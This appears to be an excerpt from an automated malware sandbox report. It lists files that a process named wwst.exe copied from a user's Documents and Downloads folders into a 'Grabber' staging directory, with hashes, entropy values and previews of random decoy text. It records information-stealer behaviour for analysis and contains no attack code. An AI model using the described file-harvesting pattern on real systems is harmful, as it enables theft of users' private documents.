C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Documents\TQDFJHPUIU.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697771666106845
Encrypted:	false
SSDEEP:	24:TwdgExX6lswcsA1Wo1+js3mQmFlw2UJh6QHssg9RGVQ8:T6KiV+KmQmFwhtMp9RGVH
MD5:	D910958AF930D9DCA27D8F529EC053D0
SHA1:	321478679C760C347743149A323469AD4BFEA87D
SHA-256:	C70010ABE33AC34A7DB2F84B5ECDEA5EF95D482B69138707C126D2C1C1B67F37
SHA-512:	0BCADFF480F8F0C7E5DDC316F678564A75785640F151ACA644CABE64AD10D0D4AD6156385A4B04DF9025C6ADCDB3787123EC21F57610F1A7FBC7727A12EB8A00
Malicious:	false
Preview:	TQDFJHPUIUELSDZVLDSOEPJOAGZMFPGEGXRLLWCATKTXUFCCYBMLLTOAWXCBRXEASQCNMLCVLTUZVHIGECOSKDAKWRYISSWUBTJPNWVMOQIBOVCDGZBZLOBWHRRJWCIVVOOXQYXMXXZMUJFNAGIRMQEQNBGKVATBJCBUBSWVZNUBPOSGZZKDLPMWNJJYMXSJFTKODUAYUUUFMAXNGYJPXGZQGSVLQUGDVVRJNEOKUCNTIRLLCNKTYMTQNZJJKSKBSONPJUKRASZVNLIXIMVFHLBZMMQBRQMADRKDIUMEEGDUNISFUQIECDZCRHSRRYZPGKJVXJOWYFDCIFWRPIQIGFARPTXNAEOTZASGGBUAORTYTQKACAIMSIJTKMTNMLSJSOHBNKDCPBUROQGRJNZUWHAQAOIYBGRJZNQFPXFARCDCRYDEHQKZSBWQRIZUALGAGONASBDAUUWWGWMIACXEKQGBFHNSVOMSMNKHUCCICMZPSQBAOJSAJLHYYTHCBOJYRGLPACKOYWSINXQWZTVPZZGDMLUEMLVMWGYQVWJXSKGMTZXFWDQTDCMARKFNKCUZOJJCUBDFZIQECIQSBZWGGGYXJKXBOJMSDVJPFGXNBLAVKQLERCTILRLNODWOHUHAHUKXKKYDMHZJUTFVHEQDYGBYCPPMSUVFTBPYSDWSPRWOOVOMFFXVHKXCQNSANIDGQLMMNSDROMFQDXTGDYVZZKZMXJGFRGTCUUWAEMNPZJJQANNDMULSUEIOQHQUZBJGBBFBYEITVHYSXFUDFMPLOAIHQGZLPYMHUKXYLKLKILTNDAXWVKITWAKIJERKCLMHSEKWBLLPKKZZWHXZMSHTTCPRPQUXXDNKWNYSNTNWEZAVSUMPTOQBTAMVGRIMPCIHLVZDKXOJHRUGCUCYCCGSKYZFHLNROAETESAVZHHZSEDGXUMPIWCICTRSGZRIRINHSZURTKUBQMVZLOYEFVZZTFCGUJKCBMMLKUJTDVWC

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Documents\ZIPXYXWIOY.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697427014915338
Encrypted:	false
SSDEEP:	24:J87vGcgdreYqco0NFLg5eIatTFj9qVUq2Z:J83gAYq8NFRtx7Z
MD5:	2D7ACA56B5F340F28DD1D2B46D700BA6
SHA1:	3966684FF029665614B8DC948349178FB9E8C078
SHA-256:	B227E5E45D28AC063349BC70CC01A3F6DB15C101432A8609E0202064F7E5936D
SHA-512:	D4BFC2BB839DAEBAE8C894A0B8EB2314D2BE0304C82EB89BE16D6C820874952534CE0D93AE62EEF3DD2BE8A4D1E828B883E50BD204D04624AB945119D2FAB4F0
Malicious:	false
Preview:	ZIPXYXWIOYFFJDUIEBFLHIUBYNNMJGYPFQONGOLQHGMFRFYQGSVGNDSCQJYWDCIKWJWNYHFUEMJVEPAFIPAROVFAVARCOHESRJKUIUYDXNZOERBEQGHQNKYMVMEEMKKKEYXXPAKWYGCIXNFSVDOOEUTNGSDXMYEZKQTRDCZXZXIFSRMNAEPZWJKKYULUPGZCQORNOJBGAAOPLYNJCPFWSASJWTLALTQZLWOGFWQVOXGYBCMNEBDESHLNZZBETDIGNLTNPZEPEQAMYCNYWEKKQKDVZPNYLWAFZIPSSVNHOPUMIBTFXVVCNCPUSOKETVBDNZLCRKBRLGSHFSQLECHUOWGFFEMDWHASNSMAXKZZMDLZVQLADFBDUCCIJERQXKRXUCTKGDGKPESHHXUPKZSGNKOITMVITFCBELJVTCKENQCMCJEDZJDQDSKAYFGQEYICXDUOIJRYIMVXRKNBYXQEHUHYSPGEDSJBOQNXHFTSSRTPOXDVFXEPQUGWNEAKZJOKYPEYKXMOMKTKOBVISHMUGELPJCXBYNEXOAWOXHSEELVSCFMZYAMOLTGIWURMTZTRNGMWQZBRQHAIXVJIAFPZGWJZIOQLOAXJSGKMZNZCAVJWFGUFMQWQICMPVNAYRUHAMQLWLJMBERSFPEZHMNVAZFQAJEGYJQOMQWFTQVXZYTDPYVGZZPSNSOJWWKZDRPZKGTXYSENWOIQFXDIRWPJEYALOOEYQPHOPKSIZFNHPOXOKSTDVPNBSCDDKPOUVXMFBUNBMEUYGOSYMHMUNKKADTAEIUEMXYPOPMUVBHTBVKYAHHJXFUJPFZJZARAFLARBIWKXMNKXJLVBLJSZYYVIBZHROONQENYZGGMMETTMOFHCCQNUHPDEUTVVGUDBCKVXVUMRWPGZIPPUXJEJQIEQWLBUQBUODMWPSBFOYIQZWMYWPHWSKTRCKCRXWZUOTDTDRLLUSSQZXZZEATFSHBUWQUYHDLRMVVWFCPAZNSBXA

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Documents\desktop.ini

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	402
Entropy (8bit):	3.493087299556618
Encrypted:	false
SSDEEP:	12:QZsiL5wmHOlDmo0qmUclLwr2FlDmo0IWF9klrgl2FlDmo0qjKAev:QCGwv4o0hlLwiF4o0UUsF4o01AM
MD5:	ECF88F261853FE08D58E2E903220DA14
SHA1:	F72807A9E081906654AE196605E681D5938A2E6C
SHA-256:	CAFEC240D998E4B6E92AD1329CD417E8E9CBD73157488889FD93A542DE4A4844
SHA-512:	82C1C3DD163FBF7111C7EF5043B009DAFC320C0C5E088DEC16C835352C5FFB7D03C5829F65A9FF1DC357BAE97E8D2F9C3FC1E531FE193E84811FB8C62888A36B
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.7.0.....I.c.o.n.R.e.s.o.u.r.c.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.,.-.1.1.2.....I.c.o.n.F.i.l.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.....I.c.o.n.I.n.d.e.x.=.-.2.3.5.....

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Downloads\CZQKSDDMWR.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.700739677288544
Encrypted:	false
SSDEEP:	24:ppydEKvTSBiqFHi8v+wyNV+fxloGJjN3y5j1xTEC3ugbIvso8wFjas:rmEKvMiYC8Wwyr88GFAH/UvsuZl
MD5:	57582F5B6AE65D8DFCBD4A26382C6138
SHA1:	DC27AD5E54D1BDCCA4EC0D54ED1FB5A3235E9842
SHA-256:	7918D6E76741E42934BB32547E2D7EA395304AEA3383C0E6B7FCF82ACE125749
SHA-512:	6D75F68E608CB12378605F06C74F2F0414486072CC25961A1EA421B94EA5827F92110B902C2190E04AAE2D79152B0AB9B5B1ACECDCAAADD93A6F25028DD1E060
Malicious:	false
Preview:	CZQKSDDMWRVXFLQDZCLIIZCHKUTASMCLXARWUFPBFEESBCKPMBKHTZOAVUSGWGQBPZXNCLVHGKNWOAOTOSOFYOKUZEGHVYFBBGTMFWOOTOTSLTKZBTPTBZMUKYOSGWCRRYGDZWOEMUMCRRCZIEIYJAYGXMDKNOLEIKRXPEZKZGIXGYJYIBDXPZGYVGHMUCSHXXAYXQQNWIVOLMGKTXTGEAEKAOKQQSCTUWFEFQMLQUREMQDBYWFEQOMAJXVXIMMKWJJFKSSTMQZNWPBIQBZROXFYPWCYBVRMKUOGMEJJHYTWCOZYZXVANCHSTYZHRBVSORLGLSOWPDGEBVMQLDWKSLQFPEZDXWPZYNPSNTKGPNKUHFMAEGDWSDLCDNYFQZWURNIMQZDJNJPPOXINSGMUVHRDBWXOXDRPWKGITAKUVBIDIBIWIIANONNQUMKNATQWTVSOUCLOFKCCAISNABSKDPLNCYIQIFQMVEHZLIAFYDDSJJTQSUEVQKACGQHHXCYTZJABESDNXLIPGYKWXJZQWYJMSZUZHKYCGKQIKCYIWZOHAVHKCRNACDVNLPEXUPOQVKBGVFKCQDKJPNALRMAYMZRBAGMTICYZEFMXXYLDXTMKSZLDKSKSRQTDUDGFZXFQEHEDXVFBYBNEOVKFLNIRSTGZDIJXNRZEZFJHNPZDGPGECJTHNVMTSURANVWOVRBTYGZGIPOXWTRIHNKWFKCTXVVKOFHISZVHNVVRXJGJEZEJDSCKNIDUQYQWFNDXBQQJAYENVZXKXVUERYEPFEGNWBAJHHQSAFTHXGXMHUHJVQEYGVKPBTQMWUEZMBBSFENGBBVZIYHLXFRDPALQUURINJMTQGTPGJRGIWXIXWOPVDTWDBDNJJVXOPMTWAGMWQFUPMRROBBTRTOQBMZKPGWTYPWAVOKTSPLMOWJJDVZIIDATCEGNLHPVRONAQJFLFUZXJVRXMCGQNRKTYBRGRMKBPVPQSPFOIOHXGEGDHOJP

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Downloads\EWZCVGNOWT.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690071120548773
Encrypted:	false
SSDEEP:	24:Hpi2eIMaeHmnj0AhtUkcnKCORSCQH8qvLrUo:Hs2e4njIkc6xQH8qvv5
MD5:	8F49644C9029260CF4D4802C90BA5CED
SHA1:	0A49DD925EF88BDEA0737A4151625525E247D315
SHA-256:	C666CACFDB412CE2BC653F9E2F19484DE94216D950F8C304D1F1F8ADD2EE32CE
SHA-512:	CA63EE1758AFE40FB8569FB3FF5A52BED8A593DC163F5F2462CEBFE1EA4F3F7AB4561435912279C4371944F7C63068D7474AB9F38492F34567E10E5188338C7E
Malicious:	false
Preview:	EWZCVGNOWTCRGCAHGHIARWHBREQUWUMDZTEFKOZTBZKDHTGWOMOMXQJLCILTVOXJTWXEZRFVVOJJDUXCZNNWMUHQTYLHFYPOOBFJLGZGDSYZASNMWULDKVPIBSBESQVOBWTJCIQCCRZOQSMEFZAEOCFIPUXIHTROYFKQUTFSAUWBWISJHTVIQQEEIJVJHOBGZOPHDRBICMJCZJYKKJVLBUSHZHJSFDMYEGPBFRDSFIJIUADWYUWFSOFGQCFBFZHQMDWRKPFVNPDGQDAXYWPQENYPVCKPJTHAOXRLVMNFIOJBVFWANBCOTBENTFVQZCFBFDBMQUHCCCHMMQUOWSBCZYACVCNJFQKUCOMHGVNGGVDACUHMUYLJZQAKUNMISIRRZWDKBKSCPQEZJBHYOZZAXJVBHPFZNDXVHGWHNSVWMYZWRVIDTUCEOPZZRDVHTZKWHATLUHBDJSDWLCXQNXOWYUDQGZJKCAXDTIVXTBCQYHDKCAAFPJFSMAIFXPBWZRPFPKSDNBTLCMBJVBNHSANLTYRSVYQCPKAVQBYOUIOKJPCSLSZRHROXWWPPNZAAXTNVEINHTCLXLDMDBKYPOGMKCUIRVICNSACARZMRYFMXNDTHABPDGEHGCEAXGZZZNHYOCNFJZCIJNBBNBGAUMIROJJYSLPZARPCRZNPUZHXYZLDLXFPTCUWDLYNUMOSJWAOBYFOHEOOAGSALYXBYBYNOLNVRWYGBMDREEFNSPFBRMCNZKOZYEFYTGCMVSCLNGPIPBUDCPAMQEHOAUUBIQZZVXLYZWJOMBCITZXNLTEPYYRLUUAPJTGKEVKMNIMNQWNLLBUVLJOYGWJXXREBMWKGHQSRPNVJAECVNLXPVKWNPACZWFRCNSRBCRVPAPFJGUCNKUOOMSEURPZQJTKWTBOYFSFQOBHOUCLHWYMZMDGTXJBELWCWSQGBSNYBSEAJYTJCJQBKRUPJLBACULNATKEWAJTPTTOUKYDWVFZCDBMMO

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Downloads\GIGIYTFFYT.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.7020597455120665
Encrypted:	false
SSDEEP:	24:Yyd0vLZv9GwBegFWbhTY2P2m1O278kZUU3ZjGaIv:YhLZugsbh0m1bYUpjG9
MD5:	47F4925C44B6916FE1BEE7FBB1ACF777
SHA1:	D7BFAEF09A15A105540FC44D2C307778C0553CE5
SHA-256:	62FB407C253C01957EB5C9ED8075E409FD399C065B6478E5080FDC8573A1AED8
SHA-512:	6B4870B47569942B119533F4C519498D2E7D76FBBD36EC9CAE219BE800864CFA47FC65C98FDDA7D92C0B52F1EA381D7C3D5DC4DE204ABF04CED7F6C43004C1B8
Malicious:	false
Preview:	GIGIYTFFYTJMXILDVGFXDVEFQCHNFYFEULLQEETZRJVMRRJHJRTSPPAOMDMYNAGWNEBMIDVTHKVEEQISBNMPHNFVYDEIXBDPFHYTCLNZABIXDFYKJDBRYRTWDLZOXHMMCFSILUYMHVQPPEGCEUDABQUBALGXBEBBTFQFPGZCSFMMFCTBAMXKOPCAJHDRXWLGLWELWIKNGHWJKDKBDVZPNHUCSZFTPSDHZOUUHUWDVSEAQXIDUUMNXESGKGQYYBWVWCBVILKQLVAXNHJSZYYZUWKUTBRCTNQQXVQCKHLEJIFZFWACZEFAUJYVSEGBIHIZRMKJYWHTJECURPVKKWUKKOFVGYEOSDEDBUWBYBNHTAOSHDXDTPIWBWQANBSHMKUUHFNTKLQLSWCOLNGFZPIBZTKTDJTYYNNHDUOZEFWBJRQDBJTCXGDSCYEYJCUVSMWPBPZCBDOMCVGPOYMXSQANNOXIQBZMOMUCJZXAGIICUFLFDZJOBTEGSAQHEIBBWATDCJXSEIADCNGGARMLYLRJZSIBRRPFAORVDSNHOQWANXTRGLRQZZTEROQRQYBPGYXMSIGOYQMJDIJSQBFLNMQOGKOFUQVIWNLZBQMUSTEPCUCGVOFNLQMYFHDEDLGEYXHBHQNMKSASMZZEYCWBNZKYTKNRWJBUJJTXRIHTHPKRBWIFFKIBKCVEEYOHLCOOBFBXELQKMEOTDDLPFFLMCBOAJRNITAVONLYXBCYITNNXEUAVAVDHVGOGFHPXZDZUUQPRYTGQIFNRRHVDFAGSLTNZENPMFBPWMOHFFCIEPUUGBVHDOBSRPRHEPPLYLJUVAKAYIJRZKMAKRPYDSBIZTPWQFSZBWKYUIQXRDRUUPAWFEQRHVNMAPCFIPTHYPQPAZQNEACARWXUWSRKGERYPPRVAAPAVQYFCPYCRXLJQAMPXGLECYIZDRHPEMJPTXFOJABHMNZZHXHBCYXJEKEEQGKOAGJVHRWOSVEPEFFHDAVPR

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Downloads\GIGIYTFFYT.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.7020597455120665
Encrypted:	false
SSDEEP:	24:Yyd0vLZv9GwBegFWbhTY2P2m1O278kZUU3ZjGaIv:YhLZugsbh0m1bYUpjG9
MD5:	47F4925C44B6916FE1BEE7FBB1ACF777
SHA1:	D7BFAEF09A15A105540FC44D2C307778C0553CE5
SHA-256:	62FB407C253C01957EB5C9ED8075E409FD399C065B6478E5080FDC8573A1AED8
SHA-512:	6B4870B47569942B119533F4C519498D2E7D76FBBD36EC9CAE219BE800864CFA47FC65C98FDDA7D92C0B52F1EA381D7C3D5DC4DE204ABF04CED7F6C43004C1B8
Malicious:	false
Preview:	GIGIYTFFYTJMXILDVGFXDVEFQCHNFYFEULLQEETZRJVMRRJHJRTSPPAOMDMYNAGWNEBMIDVTHKVEEQISBNMPHNFVYDEIXBDPFHYTCLNZABIXDFYKJDBRYRTWDLZOXHMMCFSILUYMHVQPPEGCEUDABQUBALGXBEBBTFQFPGZCSFMMFCTBAMXKOPCAJHDRXWLGLWELWIKNGHWJKDKBDVZPNHUCSZFTPSDHZOUUHUWDVSEAQXIDUUMNXESGKGQYYBWVWCBVILKQLVAXNHJSZYYZUWKUTBRCTNQQXVQCKHLEJIFZFWACZEFAUJYVSEGBIHIZRMKJYWHTJECURPVKKWUKKOFVGYEOSDEDBUWBYBNHTAOSHDXDTPIWBWQANBSHMKUUHFNTKLQLSWCOLNGFZPIBZTKTDJTYYNNHDUOZEFWBJRQDBJTCXGDSCYEYJCUVSMWPBPZCBDOMCVGPOYMXSQANNOXIQBZMOMUCJZXAGIICUFLFDZJOBTEGSAQHEIBBWATDCJXSEIADCNGGARMLYLRJZSIBRRPFAORVDSNHOQWANXTRGLRQZZTEROQRQYBPGYXMSIGOYQMJDIJSQBFLNMQOGKOFUQVIWNLZBQMUSTEPCUCGVOFNLQMYFHDEDLGEYXHBHQNMKSASMZZEYCWBNZKYTKNRWJBUJJTXRIHTHPKRBWIFFKIBKCVEEYOHLCOOBFBXELQKMEOTDDLPFFLMCBOAJRNITAVONLYXBCYITNNXEUAVAVDHVGOGFHPXZDZUUQPRYTGQIFNRRHVDFAGSLTNZENPMFBPWMOHFFCIEPUUGBVHDOBSRPRHEPPLYLJUVAKAYIJRZKMAKRPYDSBIZTPWQFSZBWKYUIQXRDRUUPAWFEQRHVNMAPCFIPTHYPQPAZQNEACARWXUWSRKGERYPPRVAAPAVQYFCPYCRXLJQAMPXGLECYIZDRHPEMJPTXFOJABHMNZZHXHBCYXJEKEEQGKOAGJVHRWOSVEPEFFHDAVPR

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Downloads\JDDHMPCDUJ.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.687055908915499
Encrypted:	false
SSDEEP:	24:X3rfasg2Tpd/zBJY+q9FZP0DJR6BdqWD5gB8H36D6jXLiUk2ZTV:X+52L/dJYBjYJRoddD5C8HqD8ZDZTV
MD5:	94EDB575C55407C555A3F710DF2A8CB3
SHA1:	3AB8DF4B92C320D7D4C661EAB608E24B43F3DD13
SHA-256:	DD3A4A93D60E4B7840557A44DAAF77F6B6F85032C7DD5FB10BE54C07B0E1E261
SHA-512:	F8F78D10AE19735413AF11F0C8DAC41644479D345DC6B300412DEDA9779A01DDFC7150FBFD54F2582A0DF8524B7E507886DBC49E59B084320017E9E64FC8DBFA
Malicious:	false
Preview:	JDDHMPCDUJFORBKGTIFQHFPQNEKFAIHGBDYZBWNZMVTSZXTGRUOCZPQRXMGXBNMAHGODCTVNAHQHZMJYIYXLTVDMEAVEXSWFQCDVPRSSLREITYMWHUXVVKLPJXQJOHYPAVYXSIMBBOTIWYDKNCDVKZZMEIFEDNNXHAHMYLPOUGNKMPZVDEQRUPZBQCKZDQINFECCUZINROAFGLIAMVWHXPPXOWZMWTITWBJFIENEHRXRHRPVUAIUAJUYDBBSQQMTJJXOAAMHVKJEOIQRSNKKQSGCHAUKUYPJEBZIGZTVKUXZEQOUSZPQBHKFHECDNFGTGIDHSJFVLAKZPDYVJVWECRIKKUCCFNNHBLBFCJEKSUZTITTTLQVOHKFHXFIIYDOZNAIBCDIRXJAYKHCOEXBOGSGEGGQEMHFXIZREOFZJSAFXTGSSZLVKYOANMZNPNESDZMFYWTZHIKUSMZXACWZEIMGTFRSZCGICPOSTZRECQYWZECQVLAWXESWPCDXLHIMJHSZJSDAXNXHETAWLZDXTZAPKBHSMKMYYGVSJCUIJSIFUHHMPIRBASPUOUXKKPQCECQBBZUSIXEOXLFFSQIFCTAIRASCMWEHFOXGEJRXFGJODUTKITHEAKFFJQTQNWWKXXDELWDHHEDWUTMSLXQJPVGOBKELYSRBQFYKXFHWGSCVLTCFKOEJMLUXIZVDPFHXHTSMTDRTVCNLISGJFVQRUTMZDYPUYBAEASZCSEUVHWRIQDEJIZQQHJNTIIICFMMPVLXOIVTPCTDKFPDVWXSBXZDXFUMBJTJMKOOHIMIOAKEJSIDIOJSRMRYXLDVGDBBYXARBNHXOXMBXYOTEFOAXRAUKXTWKYYGWNAHHCIIKQHYAETGBWABTEMJKNTEUQAWGHRIKDGGNHUIVVPPYPYTZERZKDPLUSIKPBDPJOCBYQJDEKAVQKHFTPBZJQOUCVBHAHZZGEXOCYGYDCZICBOETRSJSMVEZKINDRIKZYTUIS

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Downloads\KLIZUSIQEN.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696703751818505
Encrypted:	false
SSDEEP:	24:b16WkAmEUwq/rBFGdG3NQGsu7DYh3NTgfAtxoLxLP/VEmcM:hkAYzzbG4NPsuYh3N0fAjaxLnl
MD5:	19255ED5D4F37A096C105CEF82D0F5C0
SHA1:	96C5E995A91C8BC479E1C2ADB32C7E022EB8FAC7
SHA-256:	A0E9C6A5B14DB7AB22994C5017930720299F4492CE99D95A07BEB46BF2BAE7E8
SHA-512:	CDCD7E54677DE3BCE65BD80C855DE9684517F931ECA4D17E984C1D02E5E5CE9B50582ECCFA43F71A4F0A4E1743D74FCF3D588424AF519BFAE628EA49082C6E68
Malicious:	false
Preview:	KLIZUSIQENZWQAFPHPIZMRSSYSYIINGOAPFQHPCFTPTNYLSNMTRTDZSWEBKDRHIUFOFGWKTHENHAQWTYTMOJNOWPWJAPIZKOPDMUAKVTHXYWDBHBVWDTBCFVXJHDCUGTPASHSDSKUVYPRPPUXKURDNZYJENQKRHCARIUAOIAFRFWGQDXOAPXUJAUWRVEASXCVARWJMIPINSQDPGOWLRMNRCAEZGZIYDWBEWCOJWHLMOUROGZKCFGXDKPHAJADQCYUZYSYXQOIEGZIJWZLUJEKZUASKHQOGVFGVEXIQTENJDEKERNBPZGKNXWYZVXDDAYNSFBZAKWCEEYDSJONDKOYOBSAVICMHPZZRHRLNYDOIDQNYLXFDCCUOIJANPQCOIJDXFLDMIBVHBYSNYGAVWTHYCIPBRPTWSQXWXZZJBFNAUOMALKDRYIMJCRJXXQXCEREPQGNQHHOFEMEOXMSZEWOLTOLCOUCQNPRIPXUSVZNATFZKIJQZKGKTCYOMBXFTSXBXYIHMOONWWGRKPSNEMONASEFSVWNWIBXDSMEKQJIDCFPVMGAAUPBVOYAIKYQEFVSXOFTEMHNXVNMMENORLDYPZUSILNZRPHITCWDQMLEFZOEGPJDXQLBSIYRONLBYOSJVTEMBHNVXCMMRDVOAYSMNNRKRLBSQBIWIWHYUMBKTIYQTROZKTGZZMEFWINSQAXMWWLRRSPXAQZURXOTMUHPNLOUWMXRQSGXIAQILQCZUUTRJZVRNLBSHADNHZSDOQIYIZCEZHFRITTHSZOSBZGNCQVHXSFZJCEVSJCZZYTCFXLNBKMTPXYHPDXMMMXHUAAQWYYFHMKXWZBXZBWKFQHLPMVMGYFZBMVSYGKGTOLLJCBFKHHWFIVPPXPTVEJEBZBXHKNYKDYLIAKLLPJZFPVJAROJUOZZUWNZRRDZNYLGBHMNWUKJLSAXBUBWJZYCMVLYBCQJLBOROBDSZGHMCIASVUCVNDTGDALKYLTOMJK

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Downloads\QCOILOQIKC.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697125102277996
Encrypted:	false
SSDEEP:	24:uVOXLU7xwK58ZsokCVVZGi4eW0ZFJVPNR+x:c7xR8mwGi4sbv+x
MD5:	207485EFCE70435971C31586A1E4CF97
SHA1:	245A410AEB767B099944A8E81F75FC9A4B270DFB
SHA-256:	BF45E8FD687DC0E63FD40F32F2279152430579EDE044C3BB0852A1AC460D4B09
SHA-512:	A7F01CBBAFE9EA12B4C820F5E1A107D4C6FBD57CFF41C4AC679485F2B7DAFA4E9148AF830A39A083EC866E988A8E279FEB39D5EB58593E75D22253BED4DEFA19
Malicious:	false
Preview:	QCOILOQIKCUYMAHQLCLSCUGPPLVTJEARXPXBWFLOFHRVUSXLZVWHDQNKEMGPPQAGBLIPFAECDZNKKHITNQJASUXZAYMZIQCEHAQMCVZBMFUDBNQEKCBNCGMUWXDJLMJKVRKYBLRGNWGBGEVIGVROENGUXKJERNJSJJEMVLDKUXDFUWUPQNWUYRIEPUFOQKPDSZXXCKNQVBEAVMDMBRZSWYPCNALGHTDFWFNDXKSHXCRLYPVFVYVEOFRHUFZZGNIXSJQCPZGONOYWWUQLBEBGALPOGZBXJUYXTHWOKWNKJYPSELALXQYIKAHXCELBTKSQFTNYWBHRPQFULPLOCWEQAXEQNXOBIQOYFSEEZWHQQLZPBQOUMVZIMRWRLSPDKEBXSTPZLAGVYIORHCDBXTBHYOFKACXVGKKSIFHPOLDOQGIDQPFPVIPGUCGUCQLFFBYAGFJYFOMBUMPAHPQLDOHYAMKEGSDPXEYBQJUOWZOPFYRTLYUYDJHPLVEXBXUGVUEYIBUTUABUIHROFHZMLJUXWGZILWRHVKGOSZXXCIWGRGUZQDKQMTXRRWHDLJPPIRDALEIAYYTEEONIAELEISEOGNTDSALVOZDMFPLJSJMKJYMWGSKCTXHTLYYFJSXNZMDELRTJBNXSGAOEPKCPEEPFZKCAATOWHUWGQAEQNZHTKQEUCFRXVJWOGAEQDIWARNNFKCHEDRWTKEOVTURBKPDMQPPDCJGTYCTIRELHGRIRLWAPLCEHANSMGDZZYCXXDOTQVOSDZJAEBOTEVLSMHXCOWDPVQPSGDIDBAWUTDPIYPVBFSUMFBUYOPRXLECFHENURLSLKGPFWXDUFYOAKNTFKOYFUZEKLRZOLPYKMCKVZOIMDCCSGPQNCQXJOTJDKUQEPVHFKRSGZYJBNUHVTOEMNLTDXGZHTDQFQZCOULTNVZRAVLOIOVIKUTWPYLRJUCUDMYVYFWSBLJTJKMSJEIJXWYNPKGTYLKDAEVBUQUIJX

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Downloads\TQDFJHPUIU.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697771666106845
Encrypted:	false
SSDEEP:	24:TwdgExX6lswcsA1Wo1+js3mQmFlw2UJh6QHssg9RGVQ8:T6KiV+KmQmFwhtMp9RGVH
MD5:	D910958AF930D9DCA27D8F529EC053D0
SHA1:	321478679C760C347743149A323469AD4BFEA87D
SHA-256:	C70010ABE33AC34A7DB2F84B5ECDEA5EF95D482B69138707C126D2C1C1B67F37
SHA-512:	0BCADFF480F8F0C7E5DDC316F678564A75785640F151ACA644CABE64AD10D0D4AD6156385A4B04DF9025C6ADCDB3787123EC21F57610F1A7FBC7727A12EB8A00
Malicious:	false
